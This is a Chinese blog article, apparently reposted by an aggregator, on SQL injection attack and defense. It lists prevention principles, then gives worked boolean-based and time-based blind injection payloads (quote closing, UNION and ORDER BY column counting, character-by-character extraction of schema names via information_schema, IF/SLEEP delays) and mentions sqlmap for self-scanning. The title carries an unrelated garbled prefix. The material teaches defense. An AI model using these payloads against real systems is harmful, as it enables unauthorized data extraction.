sql挂起小工具cleanup_SQL注入的攻防策略
什么是SQL注入?
SQL注入風險,是攻擊者利用請求參數這樣一個入口,拼接上自己的惡意SQL語句,根據錯誤提示信息、執行時長等信息,窺探數據庫的庫名、表結構和數據,拿到用戶數據,再提權控制整個后端系統。
SQL注入是一種最流行的web應用程序漏洞,特別是一些小的web平臺,沒有經過嚴格的測試流程,安全問題十分堪憂。雖然數據庫本身的技術在發展,web端的技術和框架也在日新月異的更迭,仍然無法完全杜絕此類漏洞。
預防SQL注入的原則
- 永遠不要信任用戶的輸入。可以通過正則表達式,或限制長度;對單引號和 雙"-"進行轉換等。
- 永遠不要使用動態拼裝sql,可以使用參數化的sql或者直接使用存儲過程進行數據查詢存取。
- 永遠不要使用管理員權限的數據庫連接,為每個應用使用單獨的權限有限的數據庫連接。
- 不要把機密信息直接存放,加密或者hash掉密碼和敏感的信息。
- 應用的異常信息應該給出盡可能少的提示,最好使用自定義的錯誤信息對原始錯誤信息進行包裝。
一、基于BOOL條件注入
1、猜測閉合字符
假如我們有下面一行普通的sql查詢,查詢用戶表中,以a開頭的用戶,用戶余額小于100元的
SELECT * FROM t_users WHERE username LIKE 'a%' and money < 100.00如果我們沒有對用戶名做嚴格校驗,前端傳的不是a,而是a',就會發生下面的情況
SELECT * FROM t_users WHERE username LIKE 'a'%' and money < 100.00如果返回錯誤頁面,這個用戶名是用單引號'括起來的,如果傳入的是雙引號,是不會報錯的
下面我們把后面的內容都注釋掉,使用兩個減號--
SELECT * FROM t_users WHERE username LIKE 'a' -- %' and money < 100.00這樣sql又恢復了正常,這個時候,我們就可以在這里插入一些容易報錯的sql來探尋數據庫的結構
2、猜測查詢列數
SELECT * FROM t_users WHERE username LIKE 'a' ORDER BY 3 -- %' and money < 100.00order by num 如果報錯,說明num已經超過表的column列數,這樣就可以知道當前的表的column列數
SELECT * FROM t_users WHERE username LIKE 'a' UNION SELECT 1,2,3 -- %' and money < 100.00如果表的column是3列,這樣就不會報錯,否則就會報錯,也從側面印證了表的列數是3列
3、猜測數據庫長度和數據庫名字
先猜測數據庫的長度
SELECT * FROM t_users WHERE username LIKE 'a%' AND LENGTH(DATABASE()) > 10 -- %' and money < 100.00如果頁面返回了正常的數據,說明數據庫長度是大于5的,沒有任何數據返回,說明條件錯誤
再依次猜測每個字符的ascii碼
SELECT * FROM t_users WHERE username LIKE 'a%' AND (ASCII(SUBSTR(DATABASE(),1,1))) > 97 -- %' and money < 100.00如果頁面返回了正常的數據,說明第一個ascii碼不是a(97),依次類推,長度多少就猜多少次
4、猜測數據庫中表的個數和每個表的名字
SELECT * FROM t_users WHERE username LIKE 'a%' AND (SELECT COUNT(*) FROM information_schema.tables WHERE table_schema=DATABASE()) > 1 -- %' and money < 100.00正常返回,說明大于1個表,依次增加,直到錯誤為止
SELECT * FROM t_users WHERE username LIKE 'a%' AND (SELECT LENGTH(table_name) FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 0,1) > 5 -- %' and money < 100.00這樣可以查詢出第一個表的名稱的長度,修改limit 0, 1這個分頁,可以查出所有的表名稱的長度
SELECT * FROM t_users WHERE username LIKE 'a%' AND (ASCII(SUBSTR((SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 0,1),1,1))) > 97 -- %' and money < 100.00猜測第一個表名稱的第一個字母的ascii碼,依次類推
SELECT * FROM t_users WHERE username LIKE 'a%' AND (SELECT COUNT(*) FROM information_schema.columns WHERE table_schema=DATABASE() AND table_name='t_users') > 3 -- %' and money < 100.00猜測t_users表的列數
SELECT * FROM t_users WHERE username LIKE 'a%' AND (SELECT LENGTH(column_name) FROM information_schema.columns WHERE table_name='t_users' LIMIT 0,1) > 1 -- %' and money < 100.00猜測t_users表的第一列的長度
SELECT * FROM t_users WHERE username LIKE 'a%' AND ASCII(SUBSTR((SELECT column_name FROM information_schema.columns WHERE table_name='t_users' LIMIT 0,1),1,1)) > 97 -- %' and money < 100.00猜測t_users表的第一列的每個ascii碼的字符
二、基于執行時間注入
如果基于BOOL條件注入頁面不報錯,也沒有其他特征,那么可以在BOOL條件的基礎上添加sleep來做判斷。if(c,a,b),如果c為真執行a,否則執行b,然后將b替換為sleep(10)。
SELECT * FROM t_users WHERE username LIKE 'a%' AND IF(LENGTH(DATABASE()) > 4, 1, SLEEP(5)) -- and money < 100.00將上面的基于BOOL注入獲取數據庫名稱長度的sql稍加改造,即可獲取。如果長度不大于4,就會延遲5秒。
同理,其他各項的注入,都可以通過這種方式加入if判斷再延遲,即可輕松獲取。
三、借助工具實現快速檢測
sqlmap是一種自動化的sql注入檢測工具,非常方便的檢測api接口是否存在sql注入的漏洞。
burpsuite是一種攔截瀏覽器數據的工具,結合sqlmap使用起來事半功倍。
總結
大家開發完項目以后,最好使用sqlmap對自己的項目掃描一次,以防止出現SQL注入漏洞。
總結
以上是生活随笔為你收集整理的sql挂起小工具cleanup_SQL注入的攻防策略的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 电脑手机wifi互传文件_手机之间怎么互
- 下一篇: 苹果8怎么投屏到电视_创维电视怎么投屏